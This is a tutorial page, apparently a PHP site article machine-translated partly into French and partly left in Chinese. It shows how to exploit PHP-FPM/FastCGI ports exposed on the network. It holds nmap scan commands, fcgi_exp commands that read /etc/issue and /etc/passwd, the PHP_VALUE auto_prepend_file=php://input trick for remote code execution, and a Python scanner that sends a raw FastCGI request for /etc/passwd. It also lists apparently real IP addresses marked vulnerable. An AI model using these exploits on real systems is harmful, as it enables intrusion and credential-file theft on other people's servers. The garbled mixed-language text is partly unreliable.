Maison >développement back-end >Tutoriel Python >Exemple d'analyse du script d'analyse Python pour la vulnérabilité de lecture de fichiers fastcgi

Exemple d'analyse du script d'analyse Python pour la vulnérabilité de lecture de fichiers fastcgi

Y2J
Y2Joriginal
2017-05-02 15:21:241802parcourir

Cet article présente principalement le script d'analyse Python pour les vulnérabilités de lecture de fichiers fastcgi. Les amis qui en ont besoin peuvent se référer à

Utilisation à distance de PHP FastCGI

FastCGI, tout le monde. sait qu'il s'agit de l'un des modèles d'exécution de scripts dynamiques de serveur Web les plus courants. À l'heure actuelle, pratiquement tous les scripts Web prennent en charge ce mode, et même certains types de scripts sont le seul mode (ROR, Python, etc.).

L'objectif principal de FastCGI est de séparer le serveur Web et l'exécution des langages dynamiques en deux processus résidents différents. Lorsque le serveur Web reçoit une demande de script dynamique, il transmet la demande au processus fcgi via. le réseau via le protocole fcgi. , après avoir été traités par le processus fcgi, les résultats sont transmis au serveur Web, puis le serveur Web les envoie au navigateur. Ce modèle n'a pas besoin de redémarrer CGI pour chaque requête, ni d'intégrer l'analyseur de script dans le serveur Web. Il est donc hautement évolutif. Une fois que le nombre de requêtes de script dynamiques augmente, un cluster séparé peut être configuré pour l'arrière-plan. -fin du processus fcgi. La fourniture de services augmente considérablement la maintenabilité, ce qui est l'une des raisons pour lesquelles des modèles similaires tels que fcgi sont si populaires.

Cependant, précisément à cause de ce modèle, cela pose également quelques problèmes. Par exemple, la « vulnérabilité d'analyse de fichiers nginx » publiée par 80sec l'année dernière est en fait un problème causé par la compréhension différente des paramètres au niveau du chemin de script entre fcgi et le serveur Web. De plus, étant donné que fcgi et le serveur Web communiquent via le réseau, de plus en plus de clusters lient actuellement fcgi directement au réseau public et tout le monde peut y accéder. Cela signifie que n'importe qui peut se faire passer pour un serveur Web et laisser fcgi exécuter le contenu du script que nous souhaitons exécuter.

ok, ce qui précède est l'explication du principe de base. Je vais utiliser PHP, que je connais le mieux, pour vous donner un exemple.

Le fastcgi de PHP est actuellement généralement appelé FPM. Le port d'écoute par défaut est le port 9000. Ici, nous utilisons nmap pour scanner directement :

nmap -sV -p 9000 --open x.x.x.x/24

Pourquoi utiliser sV ? Comme il peut y avoir d'autres services sur le port 9000, nous devons d'abord utiliser la reconnaissance d'empreintes digitales de nmap pour nous aider à les identifier.

[root@test:~/work/fcgi]#nmap -sV -p 9000 --open 173.xxx.xxx.1/24
Starting Nmap 6.01 ( http://nmap.org ) at 2012-09-14 20:06 EDTNmap scan report for abc.net (173.xxx.xxx.111)Host is up (0.0095s latency).PORT     STATE SERVICE VERSION9000/tcp open  ssh     OpenSSH 5.3p1 Debian 3ubuntu7 (protocol 2.0)Service Info: OS: Linux; CPE: cpe:/o:linux:kernel
Nmap scan report for abc.com (173.xxx.xxx.183)Host is up (0.0096s latency).PORT     STATE SERVICE    VERSION9000/tcp open  tcpwrapped
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .Nmap done: 256 IP addresses (198 hosts up) scanned in 7.70 seconds

Après une analyse aléatoire, j'ai eu de la chance. Il y a deux ports 9000 ouverts dans un segment C, mais l'un d'eux est modifié en sshd par l'administrateur et l'autre est tcpwrappé, qui est notre cible. .

Pour les tests, j'ai écrit un programme client fastcgi pour lancer directement des requêtes à l'autre partie. Que pouvons-nous faire en utilisant un fastcgi ouvert ? Ceci est un peu différent des requêtes http ordinaires, car afin de fournir certains paramètres fastcgi, le serveur Web les transmettra au processus fcgi via le package FASTCGI_PARAMS à chaque fois qu'il transmettra la requête. A l'origine ces paramètres ne sont pas contrôlables par l'utilisateur, mais comme ce fcgi est ouvert sur le monde extérieur, cela signifie que nous pouvons définir ces paramètres pour nous permettre de faire des choses que nous ne pouvons pas faire autrement :

[root@test:~/work/fcgi]#./fcgi_exp read 173.xxx.xxx.183 9000 /etc/issue
X-Powered-By: PHP/5.3.2-1ubuntu4.9Content-type: text/html www.jb51.net
Ubuntu 10.04.3 LTS \n \l

Après avoir lu le fichier /etc/issue, je vois qu'il s'agit d'une machine Ubuntu 10.04. Comment y parvient-on ? En fait, il nous suffit de définir DOCUMENT_ROOT sur le répertoire racine "/" dans FASTCGI_PARAMS, puis de définir SCRIPT_FILENAME sur /etc/issue. De cette façon, tant que nous avons l'autorisation, nous pouvons contrôler fcgi pour lire n'importe quel fichier sur cette machine. En fait, il ne s’agit pas de lecture, mais d’utilisation de php pour l’exécuter.

Puisqu'il s'agit d'une exécution, cette vulnérabilité est en fait similaire à une vulnérabilité LFI ordinaire. Si vous connaissez le chemin du journal sur cette machine, ou tout chemin de fichier dont vous pouvez contrôler le contenu, vous pouvez exécuter du code arbitraire.

Est-ce la fin ? Non, si j'utilise un journal ou si je devine d'autres chemins de fichiers pour exécuter le code, ce n'est toujours pas assez pratique. Existe-t-il un moyen plus pratique qui me permet d'exécuter n'importe quel code que je soumets ?

J'ai également trouvé de nombreuses façons ici. La première chose à laquelle j'ai pensé était de passer le paramètre env puis d'exécuter le fichier /proc/self/environ Malheureusement, php-fpm ne l'a stocké en mémoire qu'après. recevoir la valeur de mon paramètre. La modification des variables d'environnement ne modifiera pas directement ce fichier. Il ne peut donc pas être utilisé. De plus, cette méthode n’est pas universelle pour tous les systèmes.

Nous avons une autre méthode. Dans le "PoC et défis techniques de CVE-2012-1823 (PHP-CGI RCE)" que j'ai écrit auparavant, vous pouvez modifier dynamiquement la valeur de auto_prepend_file dans php.ini à distance. exécuter des fichiers arbitraires. Transformer une vulnérabilité LFI en RFI augmente considérablement l’espace exploitable.

fastcgi prend-il également en charge une modification dynamique similaire de la configuration PHP ? J'ai vérifié les informations et découvert que FPM n'était pas pris en charge à l'origine. Ce n'est que lorsqu'un développeur a soumis un bug que les responsables de PHP ont fusionné cette fonctionnalité dans le code source de PHP 5.3.3.

Généralement en définissant FASTCGI_PARAMS, nous pouvons utiliser PHP_ADMIN_VALUE et PHP_VALUE pour modifier dynamiquement les paramètres php.

env["REQUEST_METHOD"] = "POST"
env["PHP_VALUE"] = "auto_prepend_file = php://input"
env["PHP_ADMIN_VALUE"] = "allow_url_include = Onndisable_functions = nsafe_mode = Off"

Utilisez pour exécuter php://input, puis écrivez notre code php dans le contenu de POST, afin qu'il puisse être exécuté directement.

[root@test:~/work/fcgi]#./fcgi_exp system 127.0.0.1 9000 /tmp/a.php "id; uname -a"   
X-Powered-By: PHP/5.5.0-devContent-type: text/html
uid=500(www) gid=500(www) groups=500(www)Linux test 2.6.18-308.13.1.el5 #1 SMP Tue Aug 21 17:51:21 EDT 2012 x86_64 x86_64 x86_64 GNU/Linux

细心者会注意到这里有些变化,我换了本机做测试。因为开始发现的那台机器php版本是5.3.2,正好低于5.3.3,因此无法利用修改ini设置去执行代码,只能去猜路径。

另一个变化是,我这里去读取/tmp/a.php这个php文件,而不是去读取/etc/issue。因为在5.3.9开始,php官方加入了一个配置"security.limit_extensions",默认状态下只允许执行扩展名为".php"的文件。因此你必须找到一个已经存在的php文件。而这个设置是php-fpm.conf里的,无法通过修改ini的配置去覆盖它。如果谁能有更好的办法可以绕过这个限制,请告诉我。

ok,目前为止对php-fpm的所有测试已经结束,我们利用一个对外开放的fcgi进程,已经可以直接获取shell了。各位不如也去研究一下其他fcgi,或许会有更多发现。

如何防止这个漏洞?很简单,千万不要把fcgi接口对公网暴露。同时也希望将来fcgi会有身份认证机制。

任何系统上编译,请安装golang之后,执行:
go build fcgi_exp.go

fastcgi文件读取漏洞python扫描脚本

fastcgi文件读取(代码执行)是个很老的漏洞,漏洞描述: PHP FastCGI 的远程利用

利用该漏洞可读取系统文件,甚至有一定几率成功执行代码。 下载上述文章中提到的: fcgi_exp

协议细节其实我已不关心,只需要一个python的扫描脚本。于是拿wireshark抓了下GaRY的程序,写一小段代码。

外网暴露9000端口的机器自然是非常非常少的,但内网可就说不定了。

import socket
import sys
def test_fastcgi(ip):
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM); sock.settimeout(5.0)
  sock.connect((ip, 9000))
  data = """
  01 01 00 01 00 08 00 00 00 01 00 00 00 00 00 00
  01 04 00 01 00 8f 01 00 0e 03 52 45 51 55 45 53 
  54 5f 4d 45 54 48 4f 44 47 45 54 0f 08 53 45 52 
  56 45 52 5f 50 52 4f 54 4f 43 4f 4c 48 54 54 50 
  2f 31 2e 31 0d 01 44 4f 43 55 4d 45 4e 54 5f 52
  4f 4f 54 2f 0b 09 52 45 4d 4f 54 45 5f 41 44 44
  52 31 32 37 2e 30 2e 30 2e 31 0f 0b 53 43 52 49 
  50 54 5f 46 49 4c 45 4e 41 4d 45 2f 65 74 63 2f 
  70 61 73 73 77 64 0f 10 53 45 52 56 45 52 5f 53
  4f 46 54 57 41 52 45 67 6f 20 2f 20 66 63 67 69
  63 6c 69 65 6e 74 20 00 01 04 00 01 00 00 00 00
  """
  data_s = ''
  for _ in data.split():
    data_s += chr(int(_,16))
  sock.send(data_s)
  try:
    ret = sock.recv(1024)
    if ret.find(':root:') > 0:
      print ret
      print '%s is vulnerable!' % ip
      return True
    else:
      return False
  except Exception, e:
    pass
      
  sock.close()
if __name__ == '__main__':
  if len(sys.argv) == 1:
    print sys.argv[0], '[ip]'
  else:
    test_fastcgi(sys.argv[1])

通过快速扫描9000端口,可以发现几个存在漏洞的机器:

110.164.68.137 is vul !
110.164.68.148 is vul !
110.164.68.149 is vul !
110.164.68.151 is vul !
110.164.68.154 is vul !
110.164.68.155 is vul !

fcgi_exp.exe read 110.164.68.137 9000 /etc/passwd

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn